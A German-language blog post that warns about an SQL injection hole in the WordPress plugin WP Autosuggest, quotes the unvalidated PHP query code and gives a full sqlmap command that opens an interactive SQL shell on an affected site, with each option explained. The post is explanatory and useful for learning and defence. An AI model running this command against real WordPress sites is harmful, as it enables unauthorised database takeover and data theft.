Das WordPress-Plugin WP Autosuggest weist aktuell einen Exploit auf. Neben den Hinweis, das Plugin nicht zu verwenden, zeigt Dir dieser Beitrag, wie solch eine Schwachstelle ausgenutzt werden kann.
Die Schwachstelle
Sehen wir uns erst einmal die Schwachstelle in dem Code des Plugins WP Autosuggest an und überlegen, wie er ausgenutzt werden kann.
if (isset($_GET['wpas_keys'])) {
$wpas_keys = $_GET['wpas_keys'];
}
$wpas_keys = str_replace(' ','%',$wpas_keys);
$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");
Das PHP-Skript liest den Parameter ‘wpas_keys’ aus dem URL aus und ersetzt anschliessend eventuelle Leerzeichen mit der PHP-Funktion str_replace. Eine Validierung der ausgelesenen Daten findet nicht statt! Anschliessend erfolgt eine Datebankabfrage.
Ausnutzung der Schwachstelle durch SQL Injection
Eine Ausnutzung der Schwachstelle, fehlende Validierung, ist mit einem Tool wie sqlmap denkbar einfach.
Folgender Aufruf verschafft einem Angreifer eine interaktive Shell zur Datenbank:
sqlmap -u "http://vulnerable-url/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell
Wenn Dich die Verwendung des Programmes im Detail interessiert, kannst Du Dir nach der Installation durch den Aufruf: python sqlmap.py [options] die Optionen anzeigen lassen.
Kurz zur Erklärung. Die Option -u übergibt die URL mit den Parametern wpas_action=query und wpas_keys=1.
–technique gibt an, welche SQL-Techniken verwendet werden sollen. Würde ein Exploit existieren, mit dem auf Dateiebene zugegriffen werden könnte, müsste man den Wert S (Stacked queries) angeben. In diesem Fall geht es um die Übernahme der Datenbank durch eine falsche Abfrage. Daher wird die Verwendung von 2 Techniken spezifiziert, Boolean-based blind und Time-based blind.
Die Option risk definiert das Risiko, das eingegenagen wird. 3 spezifiziert den höchsten Wert und schliesst OR- basierte injections-Tests mit ein.
Die Option level gibt den Umfang der Tests an. Als Faustformel gilt, je schwieriger der Exploit zu entdecken ist, desto höher der Level. Mit 5 ist hier der maximale Level angegeben.
-p gibt den Parameter an, der getestet werden soll. In diesem Fall ‘wpas_keys’.
–tamper wird eingesetzt um nicht vorhandene, oder schwache Validierung des Inputs auszunutzen. Tamper wird ein Script übergeben, das Kommentarauszeichnungen einschleust.
–sql-shell liefert eine SQL-Konsole zum Datenbankmanagementsystem.
Schreibe einen Kommentar